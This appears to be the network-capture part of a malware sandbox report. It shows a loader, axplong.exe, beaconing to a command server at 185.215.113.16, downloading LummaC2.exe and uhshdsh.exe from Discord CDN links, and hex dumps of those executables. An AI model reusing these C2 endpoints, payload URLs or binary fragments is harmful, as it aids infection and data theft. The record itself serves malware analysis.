Oct 29, 2024 05:05:00.479861975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:05:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	50151	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:05:00.604763985 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:05:01.520028114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:05:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	50152	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:05:01.553399086 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:05:02.459717035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	50153	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:05:02.573601007 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:05:03.466340065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:05:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	162.159.134.233	443	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:02:14 UTC	200	OUT	GET /attachments/1286706039475015741/1300518838215114933/LummaC2.exe?ex=6721220d&is=671fd08d&hm=31bca25a6562063808f9baa4d06ddb104a4792384ef240b65fa3792577e0284b& HTTP/1.1 Host: cdn.discordapp.com
2024-10-29 04:02:14 UTC	1198	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:14 GMT Content-Type: application/x-msdos-program Content-Length: 334848 Connection: close CF-Ray: 8da044d6cbd76c7a-DFW CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 34812 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="LummaC2.exe" ETag: "fba8f56206955304b2a6207d9f5e8032" Expires: Wed, 29 Oct 2025 04:02:14 GMT Last-Modified: Mon, 28 Oct 2024 17:57:33 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1730138253595076 x-goog-hash: crc32c=XcUbkA== x-goog-hash: md5=+6j1YgaVUwSypiB9n16AMg== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 334848 x-guploader-uploadid: AHmUCY1028dyswq2ioS8As4dHNdSrO6phkhTxqvSvUcM0KZ2T6jKEsUYjn7skDChQg4ZE70Y3r1mSnP9NA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=peH_uda1jZZtxDsQ_tcvDA7NwgKLOaqae1cbXEwK4vo-1730174534-1.0.1.1-dxyP.1KWz1NAIV5D1OFuPBGhYoPuq1gbaPV4ACiHYMOyQG9G5OpAlzb9uodk2k8tTjd7mFgXlmIO.88cgRQ6eA; path=/; expires=Tue, 29-Oct-24 04:32:14 GMT; domain=.discordapp.com; HttpOnly; Secure
2024-10-29 04:02:14 UTC	515	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 76 7a 45 6f 7a 5a 75 6a 55 38 4d 66 42 78 4c 4e 5a 67 38 53 48 7a 47 31 4a 73 76 6a 52 6d 4f 47 38 55 25 32 46 47 49 43 38 7a 50 73 4c 4b 36 79 46 57 59 64 58 34 35 6f 45 64 52 66 57 52 68 4c 64 71 6f 42 32 47 37 5a 66 6c 53 78 51 6d 63 62 33 50 75 31 33 39 78 34 42 49 6e 25 32 42 59 75 6d 76 51 4d 51 65 56 52 33 54 61 36 48 31 38 30 62 4f 55 46 4f 6e 76 6d 59 4e 6b 5a 4a 6c 69 67 73 61 35 6e 32 77 25 32 46 38 70 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vzEozZujU8MfBxLNZg8SHzG1JsvjRmOG8U%2FGIC8zPsLK6yFWYdX45oEdRfWRhLdqoB2G7ZflSxQmcb3Pu139x4BIn%2BYumvQMQeVR3Ta6H180bOUFOnvmYNkZJligsa5n2w%2F8pA%3D%3D"}],"group":"cf-nel","max_age":
2024-10-29 04:02:14 UTC	1025	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 a7 cd 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 d4 00 00 00 00 00 00 b0 d0 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 52 80 04 00 8c 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELgD@@R
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: 89 e5 53 57 56 83 e4 f8 81 ec 60 02 00 00 8b 45 18 89 44 24 20 8b 5d 14 8b 7d 10 c7 44 24 44 00 00 00 00 89 fe eb 15 90 90 90 90 90 90 90 90 89 c7 89 d8 0f b6 03 89 fe 88 07 47 43 89 74 24 18 89 d8 a8 03 74 09 89 d8 0f b6 03 eb 22 90 90 89 d8 8b 03 89 c2 f7 d2 81 e2 80 80 80 80 89 c1 81 f1 25 25 25 25 81 c1 ff fe fe fe 85 d1 74 3e 3c 25 0f 84 8c 00 00 00 84 c0 8b 74 24 18 0f 84 19 28 00 00 83 7d 08 00 74 af 89 f9 29 f1 81 f9 ff 01 00 00 7c a3 01 4c 24 44 51 ff 75 0c 56 ff 55 08 83 c4 0c 85 c0 75 87 e9 12 28 00 00 8b 4c 24 18 29 f9 81 c1 00 02 00 00 eb 2e 90 90 90 90 89 07 83 c7 04 8b 43 04 83 c3 04 89 c2 f7 d2 81 e2 80 80 80 80 89 c6 81 f6 25 25 25 25 81 c6 ff fe fe fe 83 c1 fc 85 d6 75 86 8d b0 ff fe fe fe 85 f2 75 84 83 7d 08 00 74 c6 83 f9 04 7d c1 e9 Data Ascii: SWV`ED$ ]}D$DGCt$t"%%%%t><%t$(}t)\|L$DQuVUu(L$).C%%%%uu}t}
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: 0f 82 4b 06 00 00 83 f9 01 89 d1 75 d9 e9 3f 06 00 00 88 44 24 39 b0 01 89 44 24 14 89 ce 81 e6 ff ff 0f 00 c1 e9 14 81 e1 ff 07 00 00 89 54 24 04 0f 84 d9 04 00 00 81 c1 01 fc ff ff 89 4c 24 28 b8 ff ff ff ff 01 c3 b8 ff ff 0f 00 11 c6 83 c3 01 89 1c 24 83 d6 00 e9 ce 04 00 00 89 44 24 28 0f b6 02 88 84 24 9c 00 00 00 8d 84 24 9d 00 00 00 89 04 24 8b 5c 24 14 85 db 74 18 0f b6 05 00 90 44 00 88 84 24 9d 00 00 00 8d 84 24 9e 00 00 00 89 04 24 8b 44 24 1c 8d 48 ff 39 d9 76 07 8d 43 01 89 44 24 1c 83 f8 02 89 44 24 24 0f 82 ab 08 00 00 89 74 24 08 89 54 24 0c 89 da 39 cb 72 02 89 ca 8d 72 ff 89 d1 ba 01 00 00 00 83 fe 07 89 4c 24 48 0f 83 d2 07 00 00 8b 74 24 08 e9 3e 08 00 00 8b 4c 24 20 8d 59 08 8b 01 8b 49 04 80 fa 75 0f 84 97 09 00 00 85 c9 8b 34 24 89 Data Ascii: Ku?D$9D$T$L$($D$($$$\$tD$$$D$H9vCD$D$$t$T$9rrL$Ht$>L$ YIu4$
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: 31 d2 8b 04 24 0f a4 c6 08 c1 e0 08 01 d8 89 c3 11 d6 8b 54 24 14 0f b6 ca 8d 44 24 38 66 c7 44 01 01 30 78 80 ca 02 88 54 24 38 89 f1 c1 e9 1c 8b 44 24 0c 0f b6 0c 08 88 8c 24 9c 00 00 00 8b 54 24 24 85 d2 0f 84 92 00 00 00 0f b6 0d 00 90 44 00 88 8c 24 9d 00 00 00 8d 84 24 9e 00 00 00 89 44 24 10 89 d1 83 fa 0d 72 05 b9 0d 00 00 00 89 d0 29 c8 89 44 24 14 7f 08 c7 44 24 14 00 00 00 00 89 c8 83 e0 03 0f 84 ca 00 00 00 89 4c 24 08 89 da 31 db 89 04 24 90 90 90 90 90 89 f0 c1 e8 18 83 e0 0f 8b 4c 24 0c 0f b6 04 01 0f a4 d6 04 88 84 1c 9e 00 00 00 8b 04 24 c1 e2 04 43 39 d8 75 da 8d 84 24 9e 00 00 00 01 d8 8b 4c 24 08 29 d9 89 d3 8b 54 24 24 e9 81 00 00 00 8d 84 24 9d 00 00 00 89 44 24 10 31 f6 89 04 24 89 44 24 0c e9 e7 00 00 00 89 ca 83 44 24 20 08 89 44 Data Ascii: 1$T$D$8fD0xT$8D$$T$$D$$D$r)D$D$L$1$L$$C9u$L$)T$$$D$1$D$D$ D
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: 00 be 00 02 00 00 31 d2 0f b6 05 01 90 44 00 88 44 24 14 90 89 54 24 28 8b 4c 24 24 81 f9 00 e1 f5 05 8b 54 24 08 89 d0 83 d8 00 72 27 6a 00 68 00 e1 f5 05 52 51 89 cb e8 f7 a7 00 00 89 54 24 08 89 da 69 c8 00 e1 f5 05 29 ca 89 c1 eb 11 90 90 90 90 90 c7 44 24 08 00 00 00 00 89 ca 31 c9 8d 44 24 54 01 f0 89 44 24 0c f6 44 24 04 40 89 4c 24 24 75 3f 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 89 d1 89 d0 ba 1f 85 eb 51 f7 e2 c1 ea 05 6b c2 64 89 cb 29 c3 0f b7 84 1b 28 60 44 00 66 89 44 34 5a 83 c6 fe 83 f9 64 73 d6 8b 54 24 28 eb 70 89 d3 85 d2 8b 54 24 28 74 66 8b 4c 24 0c eb 2e 89 4c 24 0c 89 d1 89 d8 ba cd cc cc cc f7 e2 c1 ea 03 8d 04 12 8d 04 80 29 c3 80 cb 30 88 5c 34 5b 4e 89 d3 89 ca 8b 4c 24 0c 85 db 74 36 f6 44 24 04 40 74 cb 83 fa 03 74 07 89 Data Ascii: 1DD$T$(L$$T$r'jhRQT$i)D$1D$TD$D$@L$$u?Qkd)(`DfD4ZdsT$(pT$(tfL$.L$)0\4[NL$t6D$@tt
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: 34 89 d9 89 0c 24 8b 4c 24 1c 89 ce 29 d6 8b 5c 24 14 39 de 76 07 8d 0c 1a 89 4c 24 1c 39 c8 73 25 8b 14 24 90 90 90 90 90 90 90 8b 4c 24 10 0f b6 0c 01 88 0a 42 40 8b 4c 24 1c 39 c8 72 ec 89 14 24 8b 54 24 34 8d 84 24 9c 00 00 00 8b 74 24 08 29 c6 89 f0 05 00 00 00 03 29 cb 01 d3 89 5c 24 14 e9 35 04 00 00 89 34 24 8b 44 24 34 89 c6 89 44 24 0c 29 d0 8b 74 24 14 0f 86 e8 03 00 00 f6 44 24 04 40 0f 85 0e 03 00 00 39 54 24 0c 0f 84 81 00 00 00 8b 34 24 83 e6 03 74 79 8d 73 02 c6 43 01 30 8b 44 24 0c 48 29 d0 89 34 24 74 66 83 e6 03 74 61 8d 43 03 89 04 24 c6 43 02 30 8b 44 24 0c 8d 70 fe 89 74 24 08 89 d6 f7 d6 89 74 24 24 01 f0 48 39 54 24 08 74 3b 8b 34 24 83 e6 03 74 33 8d 73 04 c6 43 03 30 8b 44 24 0c 83 c0 fd 29 d0 89 34 24 74 1e 89 f2 83 e2 03 74 17 Data Ascii: 4$L$)\$9vL$9s%$L$B@L$9r$T$4$t$))\$54$D$4D$)t$D$@9T$4$tysC0D$H)4$tftaC$C0D$pt$t$$H9T$t;4$t3sC0D$)4$tt
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: 89 0c 24 01 ca 01 c2 01 f2 8b 74 24 40 39 d6 7f 02 89 d6 29 d6 89 f2 29 1c 24 8b 4c 24 04 f6 c1 01 8b 74 24 18 75 0d f6 c1 10 75 0c c7 44 24 04 00 00 00 00 89 d1 eb 0e 8b 0c 24 39 ca 7f 02 89 ca 89 14 24 31 c9 89 4c 24 40 03 0c 24 8b 54 24 0c 0f 84 85 05 00 00 f6 44 24 04 01 0f 85 d2 01 00 00 8b 4c 24 40 85 c9 7f 1c e9 c5 01 00 00 90 90 90 89 c7 8b 44 24 18 8b 4c 24 40 29 c1 85 c9 0f 8e a5 01 00 00 89 f0 29 f8 05 00 02 00 00 89 ca 39 c1 7c 02 89 c2 83 7d 08 00 75 02 89 ca 85 d2 89 54 24 18 89 4c 24 40 74 67 89 f8 83 e0 03 74 60 8d 47 01 c6 07 20 89 d1 49 74 59 89 c2 83 e2 03 8b 54 24 18 74 4e 8d 47 02 c6 47 01 20 89 d1 83 c1 fe 74 40 89 c2 83 e2 03 8b 54 24 18 74 35 8d 47 03 c6 47 02 20 89 d1 83 c1 fd 74 27 89 c2 83 e2 03 8b 54 24 18 74 1c c6 47 03 20 83 Data Ascii: $t$@9))$L$t$uuD$$9$1L$@$T$D$L$@D$L$@))9\|}uT$L$@tgt`G ItYT$tNGG t@T$t5GG t'T$tG
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: 0f 8c 33 fe ff ff 01 44 24 44 50 ff 75 0c 51 ff 55 08 83 c4 0c 85 c0 0f 84 8c 08 00 00 89 c7 89 44 24 18 e9 11 fe ff ff 90 89 c7 eb 18 90 90 90 90 90 90 90 90 90 90 90 90 46 88 47 01 83 c7 02 83 c2 fe 74 a4 b0 30 f6 44 24 04 40 74 05 39 de 74 07 46 b1 30 eb 0b 90 90 31 f6 0f b6 0d 01 90 44 00 88 0f f6 44 24 04 40 74 cf 39 de 75 ca 31 f6 0f b6 05 01 90 44 00 eb c0 0f b6 44 24 38 8b 74 24 18 8d 4c 24 39 89 4c 24 10 eb 19 90 90 90 90 90 90 90 90 90 90 90 90 89 c7 89 c6 8b 54 24 0c 0f b6 44 24 38 84 c0 0f 84 f8 00 00 00 0f be d0 89 f3 29 fb 81 c3 00 02 00 00 39 d3 7c 02 89 d3 83 7d 08 00 75 02 89 d3 28 d8 88 44 24 38 85 db 0f 84 8d 00 00 00 89 d8 83 e0 03 0f 84 b7 00 00 00 89 74 24 18 31 d2 90 8b 74 24 10 8d 4e 01 89 4c 24 10 0f b6 0e 88 0c 17 42 39 d0 75 ea Data Ascii: 3D$DPuQUD$FGt0D$@t9tF01DD$@t9u1DD$8t$L$9L$T$D$8)9\|}u(D$8t$1t$NL$B9u
2024-10-29 04:02:14 UTC	1369	IN	Data Raw: fe ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 89 ca 83 f9 08 73 99 eb ac 90 90 90 90 90 90 90 0f b6 4c 24 2c 84 c9 0f 84 51 fc ff ff 0f be d1 89 f0 29 f8 05 00 02 00 00 39 d0 7c 02 89 d0 83 7d 08 00 75 02 89 d0 28 c1 88 4c 24 2c 85 c0 0f 84 96 00 00 00 89 c1 83 e1 03 0f 84 d0 00 00 00 89 74 24 18 31 d2 90 90 90 90 90 90 90 90 90 90 8b 74 24 10 8d 5e 01 89 5c 24 10 0f b6 1e 88 1c 17 42 39 d1 75 ea 01 d7 89 c1 29 d1 8b 74 24 18 83 f8 04 72 56 90 90 90 90 90 90 90 90 90 90 90 8b 44 24 10 8d 50 01 89 54 24 10 0f b6 00 88 07 8b 44 24 10 8d 50 01 89 54 24 10 0f b6 00 88 47 01 8b 44 24 10 8d 50 01 89 54 24 10 0f b6 00 88 47 02 8b 44 24 10 8d 50 01 89 54 24 10 0f b6 00 88 47 03 83 c7 04 83 c1 fc 75 b5 83 7d 08 00 0f 84 2b ff ff ff 89 f8 29 f0 3d ff 01 00 00 0f Data Ascii: sL$,Q)9\|}u(L$,t$1t$^\$B9u)t$rVD$PT$D$PT$GD$PT$GD$PT$Gu}+)=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	162.159.134.233	443	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:02:18 UTC	452	OUT	GET /attachments/1286706039475015741/1300606302422044754/uhshdsh.exe?ex=67217382&is=67202202&hm=13583f233ad58023fb89754e68c3247bed0b2e3df764943e53b1226a7c26e027& HTTP/1.1 Host: cdn.discordapp.com Cookie: __cf_bm=peH_uda1jZZtxDsQ_tcvDA7NwgKLOaqae1cbXEwK4vo-1730174534-1.0.1.1-dxyP.1KWz1NAIV5D1OFuPBGhYoPuq1gbaPV4ACiHYMOyQG9G5OpAlzb9uodk2k8tTjd7mFgXlmIO.88cgRQ6eA; _cfuvid=4XdEyTvWD4_IxdARf3qslSPrtttA5ovxidxRD7UhNw4-1730174534284-0.0.1.1-604800000
2024-10-29 04:02:18 UTC	1295	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:18 GMT Content-Type: application/x-msdos-program Content-Length: 2170880 Connection: close CF-Ray: 8da044f29a7ae779-DFW CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 12046 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="uhshdsh.exe" ETag: "cb2ba55ff3d892a5300c0e6a246c670d" Expires: Wed, 29 Oct 2025 04:02:18 GMT Last-Modified: Mon, 28 Oct 2024 23:45:06 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1730159106680386 x-goog-hash: crc32c=QtxYMg== x-goog-hash: md5=yyulX/PYkqUwDA5qJGxnDQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 2170880 x-guploader-uploadid: AHmUCY0U-GLwpdJh_k5Nw2xxft6h6GEdNasp6r7zTFfE_dhPJPtATrm9H6Vx8RdnyJGIYUqU3cE8eKufeg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6LYKf08J6xLRWACwoLOpmy7n4I5OClsQXJCeQ8jyDLCptKAC7WZvOgG%2BV6z8kN92prTYLpjMnRWIy8a9rP3Tgre2%2BNwRxIGNvmfXtCxXxLCn1M4vYlX6Q3Bva1UF7L1JhI2%2BLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-29 04:02:18 UTC	74	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 Data Ascii: MZ@!
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5b f8 1d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 16 21 00 00 08 00 00 00 00 00 00 0e 34 21 00 00 20 00 00 00 40 21 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 21 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 33 21 00 4f 00 00 00 00 40 21 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 21 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: L!This program cannot be run in DOS mode.$PEL[g!4! @!@ !`3!O@!`!
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 00 06 2a ca 02 28 19 00 00 0a 03 3a 0b 00 00 00 72 11 04 00 70 73 35 00 00 0a 7a 02 03 7d 23 00 00 04 02 04 25 3a 06 00 00 00 26 28 05 00 00 2b 7d 22 00 00 04 2a 3a 02 03 7e 19 00 00 04 16 28 66 00 00 06 2a 2a 02 03 04 16 28 66 00 00 06 2a 3e 02 03 7e 19 00 00 04 04 16 28 6a 00 00 06 2a 2e 02 03 04 05 16 28 6a 00 00 06 2a 3e 02 03 7e 19 00 00 04 04 05 28 6a 00 00 06 2a 3a 02 03 7e 19 00 00 04 16 28 6e 00 00 06 2a 2a 02 03 04 16 28 6e 00 00 06 2a 3e 02 03 7e 19 00 00 04 04 16 28 72 00 00 06 2a 2e 02 03 04 05 16 28 72 00 00 06 2a 3e 02 03 7e 19 00 00 04 04 05 28 72 00 00 06 2a 3a 02 03 7e 19 00 00 04 16 28 0a 00 00 2b 2a 2a 02 03 04 16 28 0a 00 00 2b 2a 3e 02 03 7e 19 00 00 04 04 16 28 04 00 00 2b 2a 2e 02 03 04 05 16 28 04 00 00 2b 2a 3e 02 03 7e 19 00 00 Data Ascii: (:rps5z}#%:&(+}":~(f*(f>~(j.(j>~(j:~(n(n>~(r.(r>~(r:~(+(+>~(+.(+>~
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 06 73 03 01 00 0a 80 df 00 00 04 2a 2e 73 2f 01 00 06 80 e0 00 00 04 2a 1a 28 04 01 00 0a 2a 56 02 23 00 00 00 00 00 00 14 40 28 05 01 00 0a 28 33 01 00 06 2a 66 02 73 34 01 00 06 02 03 28 06 01 00 0a 3a 06 00 00 00 73 36 01 00 06 7a 2a 22 02 03 7d e2 00 00 04 2a 32 02 7b e2 00 00 04 28 07 01 00 0a 2a 32 02 72 05 08 00 70 28 08 01 00 0a 2a 36 03 02 7b e3 00 00 04 6f 4a 00 00 06 2a 36 03 02 7b e4 00 00 04 6f 4a 00 00 06 2a 36 02 7c e6 00 00 04 03 28 aa 00 00 0a 2a 26 02 03 04 28 35 00 00 06 2a 26 02 03 04 28 38 00 00 06 2a 62 02 7b f2 00 00 04 03 02 7b f3 00 00 04 6f 15 01 00 0a 7e f1 00 00 04 2a 56 02 28 19 00 00 0a 02 03 7d f2 00 00 04 02 04 7d f3 00 00 04 2a 52 02 7b f2 00 00 04 03 02 7b f3 00 00 04 6f 15 01 00 0a 17 2a 32 17 28 1b 00 00 2b 80 f1 00 00 Data Ascii: s.s/(V#@((3fs4(:s6z"}2{(2rp(6{oJ6{oJ6\|(&(5&(8b{{o~V(}}R{{o2(+
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 0b 02 03 04 06 07 28 10 00 00 06 2a 00 00 00 13 30 06 00 36 00 00 00 06 00 00 11 73 19 00 00 06 0a 06 05 7d 09 00 00 04 06 0e 04 7d 0a 00 00 04 02 03 04 06 fe 06 1a 00 00 06 73 32 00 00 0a 06 fe 06 1b 00 00 06 73 33 00 00 0a 28 11 00 00 06 2a 00 00 13 30 06 00 30 00 00 00 07 00 00 11 7e 08 00 00 04 25 3a 17 00 00 00 26 7e 05 00 00 04 fe 06 18 00 00 06 73 31 00 00 0a 25 80 08 00 00 04 0a 02 03 04 05 0e 04 06 28 13 00 00 06 2a 13 30 06 00 38 00 00 00 08 00 00 11 73 1c 00 00 06 0a 06 05 7d 0b 00 00 04 06 0e 04 7d 0c 00 00 04 02 03 04 06 fe 06 1d 00 00 06 73 32 00 00 0a 06 fe 06 1e 00 00 06 73 33 00 00 0a 0e 05 28 13 00 00 06 2a 13 30 06 00 8e 00 00 00 09 00 00 11 73 1f 00 00 06 0a 06 02 7d 0d 00 00 04 03 16 3d 10 00 00 00 72 fb 00 00 70 72 3b 01 00 70 73 34 Data Ascii: (06s}}s2s3(00~%:&~s1%(08s}}s2s3(0s}=rpr;ps4
2024-10-29 04:02:18 UTC	1369	IN	Data Raw: 6f 56 00 00 0a 06 7b 59 00 00 0a 2a 00 00 1b 30 03 00 81 00 00 00 15 00 00 11 73 5b 00 00 0a 0a 06 03 7d 5c 00 00 0a 02 7b 21 00 00 04 3a 0b 00 00 00 72 f4 02 00 70 73 55 00 00 0a 7a 00 73 5d 00 00 0a 0b 07 06 7d 5e 00 00 0a 07 7c 5f 00 00 0a fe 15 1a 00 00 1b 02 7b 21 00 00 04 07 fe 06 60 00 00 0a 73 31 00 00 0a 04 6f 56 00 00 0a 07 7b 5f 00 00 0a 28 61 00 00 0a 0c dd 19 00 00 00 0d 09 02 7b 22 00 00 04 09 28 60 00 00 06 28 62 00 00 0a 0c dd 00 00 00 00 08 2a 00 00 00 01 10 00 00 00 00 24 00 42 66 00 19 09 00 00 01 13 30 03 00 28 00 00 00 16 00 00 11 73 8f 00 00 06 0a 06 03 7d 2d 00 00 04 02 06 fe 06 90 00 00 06 73 69 00 00 0a 28 07 00 00 2b 3a 02 00 00 00 17 2a 16 2a 13 30 03 00 21 00 00 00 17 00 00 11 73 91 00 00 06 0a 06 03 7d 2e 00 00 04 02 06 fe 06 Data Ascii: oV{Y0s[}\{!:rpsUzs]}^\|_{!`s1oV{_(a{"(`(b$Bf0(s}-si(+:**0!s}.
